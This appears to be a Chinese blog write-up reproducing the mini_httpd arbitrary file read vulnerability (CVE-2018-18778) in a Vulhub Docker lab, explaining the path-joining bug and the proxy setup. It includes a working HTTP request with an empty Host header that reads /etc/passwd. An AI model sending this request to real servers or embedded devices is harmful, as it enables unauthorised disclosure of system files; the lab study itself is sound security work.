您的位置:首页 > 理论基础 > 计算机网络

利用Vulnhub复现漏洞 - mini_httpd任意文件读取漏洞(CVE-2018-18778)

2019-07-12 16:26 1386 查看

mini_httpd任意文件读取漏洞(CVE-2018-18778)

  • 复现过程
  • 漏洞复现
  • Vulnhub官方复现教程

    https://vulhub.org/#/environments/mini_httpd/CVE-2018-18778/

    漏洞原理

    Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。

    在mini_httpd开启虚拟主机模式的情况下,用户请求

    http://HOST/FILE
    将会访问到当前目录下的
    HOST/FILE
    文件。

    (void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

    见上述代码,分析如下:

    • 当HOST=
      example.com
      、FILE=
      index.html
      的时候,上述语句结果为
      example.com/index.html
      ,文件正常读取。
    • 当HOST为空、FILE=
      etc/passwd
      的时候,上述语句结果为
      /etc/passwd

    后者被作为绝对路径,于是读取到了

    /etc/passwd
    ,造成任意文件读取漏洞。

    复现过程

    启动环境

    https://blog.csdn.net/JiangBuLiu/article/details/93853056
    进入路径为

    cd /root/vulhub/mini_httpd/CVE-2018-18778

    搭建及运行漏洞环境:

    docker-compose build && docker-compose up -d

    用时:3分钟
    环境启动后,访问

    http://your-ip:8080
    即可看到Web页面。
    我的是这样,不知道算不算有错

    端口设置

    浏览器设置

    以火狐浏览器FireFox为例,在

    选项
    常规
    网络设置
    设置
    ,将
    连接
    手动代理配置
    HTTP代理
    ,填写
    127.0.0.1
    ,端口为
    8080

    BurpSuit设置

    Proxy
    Options
    Proxy Listeners
    编辑监听端口为
    8080


    并将
    Proxy
    Intercept
    点击成
    Intercept is on

    漏洞复现

    发送请求是将Host置空,PATH的值是文件绝对路径:

    GET /etc/passwd HTTP/1.1
    Host:
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close

    成功读取文件:

    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: